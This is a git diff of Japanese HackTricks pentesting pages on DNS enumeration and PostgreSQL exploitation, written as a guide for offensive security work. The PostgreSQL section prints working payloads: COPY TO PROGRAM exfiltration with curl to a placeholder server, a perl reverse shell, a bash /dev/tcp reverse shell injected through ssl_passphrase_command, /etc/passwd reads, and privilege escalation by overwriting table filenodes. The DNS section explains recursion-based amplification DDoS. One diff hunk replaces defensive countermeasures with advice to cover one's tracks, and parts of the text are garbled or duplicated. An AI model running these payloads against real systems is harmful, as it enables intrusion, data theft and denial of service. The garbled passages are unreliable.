* **DNSルートサーバー**: DNS階層のトップにあり、トップレベルドメインを管理し、下位サーバーからの応答がない場合にのみ介入します。インターネット名前と番号の割り当てを管理するICANNがその運用を監視し、グローバルで13台のカウントがあります。
|
||||
* **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリについて最終的な判断を下し、明確な回答を提供します。回答を提供できない場合、クエリはルートサーバーにエスカレートされます。
|
||||
* **非権威あるネームサーバー**: DNSゾーンの所有権を持たないため、これらのサーバーは他のサーバーにクエリを送信してドメイン情報を収集します。
|
||||
* **キャッシュDNSサーバー**: このタイプのサーバーは、将来のリクエストのために以前のクエリ回答を一定時間記憶し、キャッシュの期間は権威あるサーバーによって決定されます。
|
||||
* **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、単にクエリを別のサーバーに中継します。
|
||||
* **リゾルバ**: コンピュータやルーターに統合されているリゾルバは、ローカルで名前解決を実行し、権威あるとは見なされません。
|
||||
|
||||
|
@ -44,20 +44,20 @@ PORT STATE SERVICE REASON
|
|||
|
||||
### **バナーグラビング**
|
||||
|
||||
DNSにはバナーがありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得できます。これはほとんどのBINDネームサーバーで機能します。\
|
||||
`dig`を使用してこのクエリを実行できます:
|
||||
DNSにはバナーはありませんが、ほとんどのBINDネームサーバーで機能する`version.bind. CHAOS TXT`のマジッククエリを取得できます。\
|
||||
`dig`を使用してこのクエリを実行できます。
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
さらに、ツール[`fpdns`](https://github.com/kirei/fpdns)を使用してサーバーのフィンガープリントを取得することもできます。
|
||||
|
||||
また、**nmap**スクリプトを使用してバナーを取得することも可能です:
|
||||
また、**nmap**スクリプトでもバナーを取得することが可能です:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
### **任意のレコード**
|
||||
|
||||
**ANY** レコードは、DNSサーバーにすべての利用可能な**エントリ**を**開示することを許可する**ように要求します。
|
||||
レコード**ANY**は、DNSサーバーにすべての利用可能な**エントリ**を**開示することを許可する**ように要求します。
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
|
@ -104,7 +104,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
|
|||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - 逆BF
|
||||
### DNS - リバースBF
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
|
@ -112,12 +112,12 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を持つNSに対して逆DNS BFを実行してみるべきです。
|
||||
内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を持つNSsに逆DNS BFを実行してみてください。
|
||||
{% endhint %}
|
||||
|
||||
これを行うための別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)に逆IP範囲をクエリすることができます(このツールはBGPでも役立ちます)。
|
||||
逆IP範囲をクエリすることができます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)(このツールはBGPでも役立ちます)。
|
||||
|
||||
### DNS - サブドメインBF
|
||||
```bash
|
||||
|
@ -137,6 +137,8 @@ nslookup -type=srv _kerberos._tcp.domain.com
|
|||
|
||||
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
|
||||
```
|
||||
### DNSSec
|
||||
|
||||
### DNSSec
|
||||
```bash
|
||||
#Query paypal subdomains to ns3.isc-sns.info
|
||||
|
@ -144,20 +146,20 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
サブドメインのIPv6を収集するために「AAAA」リクエストを使用したブルートフォース。
|
||||
サブドメインのIPv6を収集するために、"AAAA"リクエストを使用したブルートフォース攻撃。
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
## IPv6 Addresses
|
||||
## IPv6
|
||||
|
||||
IPv6 addresses are 128 bits long, which makes brute-forcing reverse DNS names infeasible due to the vast address space. However, tools like `ipv6toolkit` can help automate the process by generating possible reverse DNS names based on IPv6 addresses.
|
||||
IPv6アドレスを使用して逆DNSをブルートフォース攻撃
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
### DNS再帰DDoS
|
||||
|
||||
DNS再帰が有効になっている場合、攻撃者はUDPパケットで**送信元を偽装**し、DNSに**レスポンスを被害者サーバーに送信**させることができます。攻撃者は、**ANY**または**DNSSEC**レコードタイプを悪用する可能性があります。これらはより大きなレスポンスを持つことがあります。\
|
||||
DNSが再帰をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**応答にフラグ "ra"**(_再帰可能_)が含まれているかどうかを**確認**することです:
|
||||
もしDNS再帰が有効になっている場合、攻撃者はUDPパケットで**origin**を**スプーフィング**して、DNSが**レスポンスを被害者サーバーに送信**するようにすることができます。攻撃者は、**ANY**または**DNSSEC**レコードタイプを悪用することができます。なぜなら、これらはより大きなレスポンスを持つことが一般的だからです。\
|
||||
DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、レスポンスに**フラグ "ra"**(_再帰可能_)が含まれているかどうかを**確認**することです:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -169,9 +171,9 @@ dig google.com A @<IP>
|
|||
|
||||
![](<../.gitbook/assets/image (276).png>)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能で完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成までをカバーする20以上のツールと機能でどこからでもフルペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -179,10 +181,10 @@ dig google.com A @<IP>
|
|||
|
||||
ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた配信不能通知(NDN)の調査を通じて、貴重な内部ネットワークの詳細がしばしば開示されます。
|
||||
|
||||
提供される配信不能レポートには、次の情報が含まれます:
|
||||
提供される配信不能レポートには、次の情報が含まれます:
|
||||
|
||||
- 生成サーバーは `server.example.com` として識別されました。
|
||||
- `user@example.com` に対するエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` が返されました。
|
||||
- `user@example.com` に対するエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` が返された失敗通知が含まれています。
|
||||
- 元のメッセージヘッダーには内部IPアドレスとホスト名が開示されました。
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
@ -284,22 +286,22 @@ Description: DNS enumeration without the need to run msfconsole
|
|||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げ、シェルをポップして楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong>!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,32 +1,32 @@
|
|||
# 5432,5433 - PostgreSQLのペンテスト
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**強化**された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張しています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
|
||||
**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張します。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
|
||||
|
||||
**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート(5433の可能性が高い)がPostgreSQLによって使用されるようです。
|
||||
**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート(5433の可能性が高い)がPostgreSQLによって使用されます。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
|
@ -118,27 +118,23 @@ the server terminated abnormally before or while processing the request
|
|||
|
||||
### Enumeration
|
||||
|
||||
To discover PostgreSQL services running on the target system, you can use tools like Nmap to scan for open ports. The default port for PostgreSQL is 5432.
|
||||
To discover PostgreSQL services running on the target system, you can use tools like Nmap or Metasploit. Nmap can be used to scan for open ports, while Metasploit can help in identifying the version of PostgreSQL running.
|
||||
|
||||
```bash
|
||||
nmap -sV -p 5432 <target_ip>
|
||||
```
|
||||
### Default Credentials
|
||||
|
||||
PostgreSQL has default credentials that are commonly used. Some of the default credentials include `postgres:postgres`, `postgres:password`, and `postgres:admin`.
|
||||
|
||||
### Brute Forcing
|
||||
|
||||
You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. Make sure to use a strong password list for better results.
|
||||
If default credentials do not work, you can attempt to brute force the PostgreSQL login using tools like Hydra or Metasploit. These tools can automate the process of trying different username and password combinations.
|
||||
|
||||
### Exploitation
|
||||
|
||||
One common way to exploit PostgreSQL is through SQL injection attacks. By injecting malicious SQL queries, an attacker can manipulate the database and potentially gain unauthorized access.
|
||||
Once you have valid credentials or have successfully brute forced the login, you can exploit vulnerabilities in PostgreSQL to gain unauthorized access to the database. Common exploits target vulnerabilities like SQL injection or insecure configurations.
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
After gaining access to a PostgreSQL database, an attacker can exfiltrate sensitive data, create backdoors for future access, or even delete data to cause disruption.
|
||||
|
||||
### Countermeasures
|
||||
|
||||
To protect PostgreSQL from attacks, ensure that you are using strong and unique passwords, keeping the software up to date with the latest security patches, and monitoring the database for any suspicious activity.
|
||||
After gaining access to the database, you can perform various post-exploitation activities such as exfiltrating data, creating backdoors, or escalating privileges. It is important to maintain stealth and cover your tracks to avoid detection.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
@ -155,16 +151,16 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
| ロールの種類 | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | ロールにはスーパーユーザー権限があります |
|
||||
| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
|
||||
| rolcreaterole | ロールは他のロールを作成できます |
|
||||
| rolcreatedb | ロールはデータベースを作成できます |
|
||||
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
|
||||
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
|
||||
| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
|
||||
| rolcreaterole | ロールは他のロールを作成できます |
|
||||
| rolcreatedb | ロールはデータベースを作成できます |
|
||||
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
|
||||
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
|
||||
| rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
|
||||
| rolpassword | パスワードではなく(常に `********` として表示されます) |
|
||||
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
|
||||
| rolpassword | パスワードではなく(常に `********` として表示されます) |
|
||||
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
|
||||
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
|
||||
| rolconfig | 実行時の構成変数のロール固有のデフォルト |
|
||||
| rolconfig | 実行時構成変数のロール固有のデフォルト |
|
||||
| oid | ロールの ID |
|
||||
|
||||
#### 興味深いグループ
|
||||
|
@ -174,7 +170,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
- **`pg_write_server_files`** のメンバーであれば、ファイルを**書き込む**ことができます
|
||||
|
||||
{% hint style="info" %}
|
||||
Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**に依存します。
|
||||
Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**によります。
|
||||
{% endhint %}
|
||||
```sql
|
||||
# Get users roles
|
||||
|
@ -265,7 +261,7 @@ COPY demo from '/etc/passwd';
|
|||
SELECT * FROM demo;
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
スーパーユーザーではない場合でも、**CREATEROLE** 権限を持っていれば、**そのグループのメンバーになることができます:**
|
||||
スーパーユーザーではないが、**CREATEROLE** 権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
|
||||
```sql
|
||||
GRANT pg_read_server_files TO username;
|
||||
```
|
||||
|
@ -307,14 +303,14 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`CREATEROLE`** 権限を持っているがスーパーユーザーではない場合、**そのグループのメンバーになることができます:**
|
||||
スーパーユーザーではないが**`CREATEROLE`**権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
|
||||
```sql
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
[**詳細はこちら**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
{% endhint %}
|
||||
|
||||
COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、**ワンライナーを送信する必要があります**。\
|
||||
COPYは改行文字を処理できないため、ベース64ペイロードを使用していても**ワンライナーを送信する必要があります**。\
|
||||
このテクニックの非常に重要な制限事項は、**`copy`はバイナリファイルを書き込むために使用できない**ということです。
|
||||
|
||||
### **バイナリファイルのアップロード**
|
||||
|
@ -327,36 +323,36 @@ COPYは改行文字を処理できないため、ベース64ペイロードを
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、今日から最大**$100,000**のバウンティを稼ぎましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### ローカルファイル書き込みを介したPostgreSQLテーブルデータの更新
|
||||
|
||||
PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の**関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新**できます。このテクニックについての詳細は[こちら](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
|
||||
PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の**関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新**できます。このテクニックについては、[**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)で詳しく説明しています。
|
||||
|
||||
必要な手順:
|
||||
|
||||
1. PostgreSQLデータディレクトリを取得
|
||||
1. PostgreSQLデータディレクトリを取得する
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスタ名は`main`です。
|
||||
2. ターゲットテーブルに関連するファイルノードへの相対パスを取得
|
||||
2. ターゲットテーブルに関連するファイルノードへの相対パスを取得する
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
|
||||
このクエリは`base/3/1337`のようなものを返すはずです。ディスク上の完全なパスは`$DATA_DIRECTORY/base/3/1337`、つまり`/var/lib/postgresql/13/main/base/3/1337`になります。
|
||||
3. `lo_*`関数を使用してファイルノードをダウンロード
|
||||
3. `lo_*`関数を使用してファイルノードをダウンロードする
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. ターゲットテーブルに関連付けられたデータ型を取得
|
||||
4. ターゲットテーブルに関連付けられたデータ型を取得する
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
|
@ -377,33 +373,33 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、[ファイルノードを編集](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)し、すべての`rol*`ブールフラグを1に設定して完全な権限を付与します。
|
||||
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)を使用して、すべての`rol*`ブールフラグを1に設定して、ファイルノードを編集します。
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
|
||||
6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書き
|
||||
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
|
||||
6. `lo_*`関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書きする
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
7. _(オプション)_ 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリア
|
||||
7. _(オプション)_ 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリアする
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
8. これで、PostgreSQLで更新されたテーブル値が表示されるはずです。
|
||||
|
||||
`pg_authid`テーブルを編集することでスーパーアドミンになることもできます。**次のセクション**を参照してください[pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
|
||||
`pg_authid`テーブルを編集することで、スーパーアドミンにもなれます。**次のセクション**を参照してください(pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
|
||||
|
||||
## RCE
|
||||
|
||||
### **プログラムへのRCE**
|
||||
|
||||
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、**スーパーユーザー**と**`pg_execute_server_program`**グループのメンバーだけがRCEにCOPYを使用できます(情報漏えいの例:
|
||||
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、RCEのためにCOPYを使用できるのは**スーパーユーザー**と**`pg_execute_server_program`グループのメンバー**だけです(情報漏えいの例:
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
|
@ -421,7 +417,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**そのグループのメンバーになることができます:**
|
||||
スーパーユーザーではないが、**`CREATEROLE`** 権限を持っている場合、**自分自身をそのグループのメンバーにすることができます:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -451,7 +447,7 @@ GRANT pg_execute_server_program TO username;
|
|||
次のRCEベクターは、すべての手順をネストされたSELECTステートメントを介して実行できるため、制約されたSQLiコンテキストで特に有用です。
|
||||
{% endhint %}
|
||||
|
||||
PostgreSQLの**構成ファイル**は**postgresユーザ**によって**書き込み可能**であり、これはデータベースを実行しているユーザであるため、**スーパーユーザ**としてファイルシステムにファイルを書き込むことができ、したがってこのファイルを**上書き**できます。
|
||||
PostgreSQLの**構成ファイル**は**postgresユーザー**によって**書き込み可能**であり、これはデータベースを実行しているユーザーであるため、**スーパーユーザー**としてファイルシステムにファイルを書き込むことができ、したがってこのファイルを**上書き**できます。
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -459,117 +455,82 @@ PostgreSQLの**構成ファイル**は**postgresユーザ**によって**書き
|
|||
|
||||
このテクニックに関する詳細は[こちら](https://pulsesecurity.co.nz/articles/postgres-sqli)で確認できます。
|
||||
|
||||
構成ファイルにはRCEにつながる興味深い属性がいくつかあります:
|
||||
構成ファイルにはRCEにつながる興味深い属性がいくつかあります:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースの秘密鍵へのパス
|
||||
* `ssl_passphrase_command = ''` もし秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
|
||||
* `ssl_passphrase_command_supports_reload = off` もしこの属性がonの場合、鍵がパスワードで保護されている場合に実行されるコマンドは、`pg_reload_conf()`が実行されたときに実行されます。
|
||||
* `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。
|
||||
* `ssl_passphrase_command_supports_reload = off` この属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドが`pg_reload_conf()`が実行されたときに実行されます。
|
||||
|
||||
その後、攻撃者は次の手順を踏む必要があります:
|
||||
その後、攻撃者は次の手順を実行する必要があります:
|
||||
|
||||
1. サーバから**秘密鍵**をダンプする
|
||||
2. ダウンロードした秘密鍵を**暗号化**する:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
1. サーバーから**秘密鍵をダンプ**
|
||||
2. ダウンロードした秘密鍵を**暗号化**:
|
||||
`rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **上書き**
|
||||
4. 現在のPostgreSQL **構成**をダンプする
|
||||
5. 上記の属性構成で**構成**を**上書き**する:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
